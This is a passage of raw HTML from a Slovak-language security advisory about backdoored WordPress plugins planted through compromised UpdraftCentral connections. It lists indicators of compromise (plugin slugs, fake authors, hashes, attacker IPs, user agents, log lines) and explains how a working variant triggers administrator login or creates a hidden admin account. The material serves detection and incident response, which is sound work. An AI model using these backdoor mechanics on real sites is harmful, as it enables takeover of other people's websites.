.35em;border-radius:4px;word-break:break-word\">0290c2baa363eac72ef2b6891bef1c9c8b4774d5b95d14f4871bde6094fdacde<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">99a7fb44d1502938a40b3f663f4e5771b5cf741bcbaec58d7dda0b5066b5a0a5<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-kit-183<\/code>, \u201eMedia Kit 183\u201c 3.7.8, autor \u201eAshBridge Digital\u201c, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_98a0a7<\/code>, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_maint88<\/code>, SHA-256 hlavn\u00e9ho s\u00faboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">03301b6fc563cafe0408a7eec0fee0349188ff95ce3e5e458272ff6fb23c6a63<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">8cdd7ab6d232976a6763df93324be7182a24427e0582fec1dd3c85fc120b8190<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">query-shelf<\/code>, \u201eQuery Shelf\u201c 2.6.1, rovnak\u00e1 chyba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">QueryShelf::FIELD<\/code>, n\u00e1zov bez troch hex znakov na konci<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">post-dock-776<\/code>, \u201ePost Dock 776\u201c 1.7.8, autor \u201eCommonGantry\u201c, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_5fa3f1<\/code>, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_build55<\/code>, SHA-256 hlavn\u00e9ho s\u00faboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">8ff28a902ce6ae9897260ee8a3c90150ab4301946b4ad8f7247c6b8c9c99f321<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">6a52fed5e4044978b68dc70bbabef127369c59ec63661e7478bd5c4ac781cf30<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">nav-hub<\/code>, \u201eNav Hub\u201c 1.0.5, autor \u201ePixelBinder\u201c (rovnak\u00fd ako pri <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code>), chyba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">NavHub::FIELD<\/code>, n\u00e1zov bez hex znakov na konci<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-desk<\/code>, \u201eSpeed Desk\u201c 3.7.1, autor \u201eHarbor Stack Labs\u201c, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_685679<\/code>, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.maint85<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">80ba1b6261e573a632451aa77485f78739fbdd13ffccaeafbbe91ee2852f8483<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-kit-300<\/code>, \u201eSpeed Kit 300\u201c 3.8.4, autor \u201eNordic Toolworks\u201c, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_c4bda9<\/code>, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-team4<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0d9941f42e3c191b68f80ca0f4f1702c99ad8c6633508a6e01b82973d96a71a3<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">link-latch<\/code>, \u201eLink Latch\u201c 3.0.2, autor \u201eCommonGantry\u201c, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_b10fa0<\/code>, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media.crew54<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">d3281d662c017882d29a7d47412c629a332aba09ac4a04489a28cbdccd7f90a8<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">script-shelf<\/code>, \u201eScript Shelf\u201c 1.9.2, autor \u201eCopperForge WP\u201c, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_697e00<\/code>, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">content-crew90<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">7376a09d1281f27fa58c72811e4c28075ae16a353315d249e4840841cf0225f2<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">feed-case<\/code>, \u201eFeed Case\u201c 1.5.1, autor \u201eLoftStack\u201c, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_78d327<\/code>, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_ops15<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">02f5338311a5b5ab443dae447fddbb8885c86f4c16cfa9bd984582c2777b5429<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code>, \u201eCache Jack C7A\u201c 2.7.3, autor \u201ePixelBinder\u201c, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_48c603<\/code>, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk2<\/code>, SHA-256 hlavn\u00e9ho s\u00faboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">425bb1e680d57a92327c99090df1e3b69932c4ec3d9c22f105d89b101f412d72<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">335dc74431648b713500db50d2beafda19342555ba19e37438df035f802c6017<\/code><\/li>\n<li>Men\u00e1 falo\u0161n\u00fdch autorov sa opakuj\u00fa naprie\u010d variantmi aj webmi, napr\u00edklad \u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c, \u201eCommonGantry\u201c, \u201eCopperForge WP\u201c, \u201eMetaLayer\u201c \u010di \u201eWPBridge\u201c. Plugin od tak\u00e9ho autora, ktor\u00fd ste nein\u0161talovali, je takmer iste backdoor.<\/li>\n<li>\u010eal\u0161ie n\u00e1zvy, ktor\u00e9 zverejnil <a href=\"https:\/\/www.wordfence.com\/blog\/2026\/10\/updraftcentral-connection-key-compromise\/\">Wordfence<\/a>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-press-23b<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-bridge-6c9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-6a20<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">db-works-7dba<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-frame<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-engine<\/code>; pou\u017e\u00edvatelia <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_editor784<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site.crew51<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_desk9<\/code>.<\/li>\n<li>pod\u013ea Patchstacku napr\u00edklad \u201eSite Health Cache\u201c, \u201eAsset Forge 2\u201c, \u201eContent Helper\u201c a \u201eWp Forge\u201c, spolu 99 n\u00e1zvov<\/li>\n<\/ul>\n<p>Spolo\u010dn\u00e9 znaky:<\/p>\n<ul>\n<li>IP adresy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent presne <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, po\u017eiadavka <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/<\/code><\/li>\n<li>Pokusy pou\u017ei\u0165 backdoor 20. 10.: IP adresy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.220<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.243<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.94.218.31<\/code> a rozsahy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.133.x<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.134.x<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.144.x<\/code>, User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/code> (bez \u010dasti s verziou prehliada\u010da), po\u017eiadavka <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">GET \/?&lt;sp\u00fa\u0161\u0165a\u010d&gt;=&lt;token&gt;<\/code><\/li>\n<li>Mo\u017eno s\u00favisiace: od 20. 10. vid\u00edme na na\u0161ich weboch aj zis\u0165ovanie verzie UpdraftPlus cez <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/wp-content\/plugins\/updraftplus\/readme.txt<\/code>, \u010dasto s n\u00e1sledn\u00fdm <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/wp-admin\/admin-ajax.php<\/code>, z adries <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">107.189.14.87<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">45.61.188.240<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">45.61.184.170<\/code> s podvrhnut\u00fdmi User-Agentmi prehliada\u010dov. Rovnak\u00e9 rozsahy hl\u00e1si aj \u010fal\u0161\u00ed spr\u00e1vca. \u010ci ide o toho ist\u00e9ho \u00fato\u010dn\u00edka, nevieme.<\/li>\n<li>v logu UpdraftCentral sonda <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code> a o nieko\u013eko hod\u00edn <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code><\/li>\n<li>popis pluginu \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c<\/li>\n<li>pou\u017e\u00edvate\u013e s e-mailom na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> a zobrazovan\u00fdm menom \u201eSite Tools\u201c, s rolou Editor a opr\u00e1vneniami <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code><\/li>\n<li>fat\u00e1lna chyba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Undefined constant &lt;Trieda&gt;::FIELD<\/code> a e-mail WordPressu o chybe v plugine, ktor\u00fd nepozn\u00e1te<\/li>\n<\/ul>\n<h2 id=\"druh\u00fd-variant-funk\u010dn\u00fd-backdoor-s-administr\u00e1torsk\u00fdm-\u00fa\u010dtom\">Druh\u00fd variant: funk\u010dn\u00fd backdoor s administr\u00e1torsk\u00fdm \u00fa\u010dtom<\/h2>\n<p>Tento variant n\u00e1m op\u00edsali dvaja \u010fal\u0161\u00ed postihnut\u00ed spr\u00e1vcovia. Prv\u00fd spravuje pribli\u017ene 145 webov a na\u0161iel ho na dvoch z troch napadnut\u00fdch. \u00dato\u010dn\u00edk ho tam nepou\u017eil: nevznikla vo\u013eba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>, \u017eiadny \u00fa\u010det ani cudzia rel\u00e1cia. Druh\u00fd ho na\u0161iel na troch zo \u0161tyroch webov, kam sa backdoor nain\u0161taloval, a potvrdil, \u017ee <strong>funguje<\/strong>: na rozdiel od prv\u00e9ho variantu nem\u00e1 chybu, ktor\u00e1 by web zhodila. \u010eal\u0161\u00ed spr\u00e1vca n\u00e1m poslal vzorku <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">boost-kit<\/code>, tak\u017ee sme ho rozobrali aj sami. Popis oboch spr\u00e1vcov sa potvrdil okrem skr\u00fdvania \u00fa\u010dtu, ktor\u00e9 nefunguje.<\/p>\n<ul>\n<li>Je to jeden s\u00fabor PHP s n\u00e1hodn\u00fdm n\u00e1zvom, ktor\u00fd nemus\u00ed zodpoveda\u0165 vzoru prv\u00e9ho variantu (napr\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">opt4fix<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-smith<\/code>). Popis sa l\u00ed\u0161i v ka\u017edej vzorke, raz to bolo \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c.<\/li>\n<li>Na zakrytie pri aktiv\u00e1cii nastav\u00ed vo\u013ebu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, napl\u00e1nuje denn\u00fd cron <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_maintenance<\/code>, ktor\u00fd naozaj ma\u017ee expirovan\u00e9 transienty, a prid\u00e1 filter pre jQuery na str\u00e1nkach AMP.<\/li>\n<li>Sp\u00fa\u0161\u0165a\u010d: parameter s n\u00e1zvom z 12 hex znakov a 32-znakov\u00fd token, napr\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?f2b9faa21ebd=\u2026<\/code> alebo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?303541c9dfd0=\u2026&amp;m=setup<\/code>. \u010eal\u0161ie zisten\u00e9 n\u00e1zvy parametrov: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f883d260d98a<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a613ff6d53aa<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">6eb3d55b634e<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f343ef05a88e<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a67730d1b537<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2c71bff4b006<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">666b564665a9<\/code>.<\/li>\n<li><strong>Bez parametra <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> prihl\u00e1si \u00fato\u010dn\u00edka ako prv\u00e9ho existuj\u00faceho administr\u00e1tora<\/strong> a presmeruje ho do administr\u00e1cie. Nevytvor\u00ed \u017eiadny \u00fa\u010det, tak\u017ee zostane len s\u00fabor pluginu a riadok v access logu.<\/li>\n<li>Re\u017eim <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=setup<\/code> vytvor\u00ed plnohodnotn\u00e9ho <strong>administr\u00e1tora<\/strong> a jeho ID ulo\u017e\u00ed do vo\u013eby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em 